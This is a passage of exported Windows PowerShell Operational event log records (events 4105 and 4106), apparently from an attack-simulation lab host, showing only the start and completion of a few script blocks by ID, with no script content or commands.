Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988647 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988646 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988645 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988644 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988663 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988662 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988661 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988660 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988659 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988658 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988657 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988656 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988655 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988654 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:40 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988673 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:40 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988672 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:40 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988671 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:40 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988670 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:40 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988669 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:40 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988668 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:40 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988667 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:40 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988666 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:40 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988665 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:40 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988664 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:45 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988683 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:45 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988682 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:45 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988681 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:45 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988680 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:45 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988679 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:45 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988678 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:45 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988677 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:45 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988676 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:45 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988675 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:45 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988674 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988693 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988692 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988691 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988690 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988689 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988688 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988687 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988686 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988685 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988684 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:55 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988703 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:55 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988702 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:55 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988701 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:55 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988700 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:55 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988699 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:55 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988698 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:55 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988697 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:55 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988696 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:55 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988695 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:55 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988694 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:01 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988713 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:01 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988712 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:13:01 PM 